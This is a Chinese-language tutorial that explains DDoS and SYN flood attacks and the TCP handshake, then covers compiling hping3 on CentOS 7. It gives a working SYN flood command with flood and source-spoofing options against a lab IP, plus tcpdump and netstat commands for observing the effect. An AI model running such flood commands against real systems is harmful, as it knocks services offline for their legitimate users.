DDOS攻击
DDOS(Destributed Deny Of Service)分布式拒绝服务攻击,其攻击方式是黑客人员最常使用的方式之一,如果服务器、门户网站、业务系统遭受DDOS攻击之后,服务器资源很容易耗尽,拒绝提供任何服务。是世界上最难彻底防御的攻击方式。
DDOS攻击原理:
黑客人员模拟数以万计的客户端(计算机),批量的、并发的向目标服务器发起请求(HTTP、ARP、ICMP、SYN),因为请求量很大,会导致目标服务器资源耗尽(CPU、MEM、NET、I/O),目标服务器拒绝提供任何服务,连正常的用户请求,无法响应了。
TCP三次握手原理:
客户端向目标服务器(服务端)发起SYN请求(新建请求)+Seq X,服务端接收到客户端的请求之后,会进行响应和处理,服务端也会向客户端发起SYN请求+ACK确认号(Seq X+1)。告知客户端我已经收到你的请求,同时我也要跟你建立连接。
客户端接收到服务端发送过来的SYN请求+ACK确认号,客户端会向服务端发送ACK确认号,我收到你发送的SYN+ACK请求,并且同意建立连接,彼此之间可以发送数据了(Established)。
SYN Flood洪水攻击原理(DDOS攻击):
黑客人员模拟数以万计的客户端(计算机),向目标服务器(服务端)发起SYN请求(新建连接)+Seq x,然后客户端突然假死、宕机了,服务端接收到客户端的请求之后,会进行响应和处理。服务端也会向客户端发起SYN请求+ACK确认号(Seq x+1)。告诉客户端我已经收到你的请求,同时我也向你建立请求连接。
因为客户端假死、宕机,所以客户端是无法收到服务端发送的SYN请求+ACK确认号(Seq x+1)的,服务端一直处于等待状态,等待客户端回应,等待戈多,因为请求数以万计,服务端为了维持会话半连接,而耗尽自身的资源(CPU、MEM、NET、I/O),拒绝提供任何服务了,连正常的用户请求也无法响应了。
Hping是一款开源的、免费的基于数据包过滤的工具,不仅仅只支持ICMP协议,还支持HTTP、TCP、UDP等,基于Hping新一代工具:Hping3可以模拟黑客DDOS攻击目标服务器,可以发送随机源头IP信息。
基于CentOS7.x Linux操作系统,从0开始构建一套Hping3工具平台,通过MAKE源码编译方式,操作的方法和指令如下:
安装Hping3
[root@server02 ~]# ls -l hping3-20051105.tar.gz -rw-r--r--. 1 root root 1140164 3月 17 14:00 hping3-20051105.tar.gz
[root@server02 ~]# tar -xzvf hping3-20051105.tar.gz
[root@server02 ~]# cd hping3-20051105/ [root@server02 hping3-20051105]# ./configure && make && make install
在这个配置和编译安装过程中会发现如下问题,咱们一个一个解决;
1. build byteorder.c时出现如下错误
因为我的centos7虚机镜像是3.10.0-229.el7.x86_64,64位的操作系统:
而bytesex.h没有对64位的支持
所以我们需要加上defined(__x86_64__)来支持64位的系统环境下编译:
2. main.c:29:18: fatal error: pcap.h: No such file or directoryX
我们缺少pcap库,安装yum install -y libpcap libpcap-devel
3. libpcap_stuff.c:20:21: fatal error: net/bpf.h: No such file or directory
创建一个软链接:
ln -sf /usr/include/pcap-bpf.h /usr/include/net/bpf.h,
我们查看pcap-bpf.h文件,其实它包含的
也就是/usr/include/pcap/bpf.h头文件。
4. cannot find -ltcl
我们需要安装tcl库,yum -y install tcl tcl-devel
5. Can't install the man page: /usr/local/confd/man/man8 does not exist
有可能环境没有/usr/local/confd/man8目录,我们可以手动创建此目录,或者自己修改脚本实现(我们需要把INSTALL_MANPATH改为/usr/local/confd/man)
[root@server02 sbin]# hping3 -version hping version 3.0.0-alpha-1 ($Id: release.h,v 1.4 2004/04/09 23:38:56 antirez Exp $) This binary is TCL scripting capable
-c:发送数据包的个数。 -d:每个数据包的大小。 -S:发送SYN数据包。 -w:TCP window大小。 -p:目标端口,你可以指定任意端口。 --flood:尽可能快的发送数据包。 --rand-source:随机IP地址,可以使用-a或--spoof隐藏主机名。
攻击
hping3 -S --flood -p 80 192.168.0.220
抓包查看,大量的半连接请求
tcpdump -i eth0 -nn port 80 and host 192.168.0.220|more
通过Netstat查看服务端本地连接请求的状态,看到大量的SYN_RECV状态;
netstat -an|awk '/^tcp/'|awk '{print $NF}'|sort -n|uniq -c|sort -nr